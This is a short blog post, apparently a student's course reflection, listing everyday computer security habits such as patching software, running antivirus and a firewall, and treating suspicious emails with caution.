All in all, the reading made me realize to accept the fact that the moment you connect to the internet, you will never be safe. So, my preventive measures include: i) as part of my awareness, I read, read and read; ii) I always update my OS and softwares for patches; iii) although skeptic of anti-viruses, I have installed one; iv) if I can’t live for hours without internet I always enable my firewall otherwise I disconnect from internet; v) I always take caution on opening and replying to suspecting mails especially spam mails and I only visit known websites.

posted by ninoy in CS 253 and have No Comments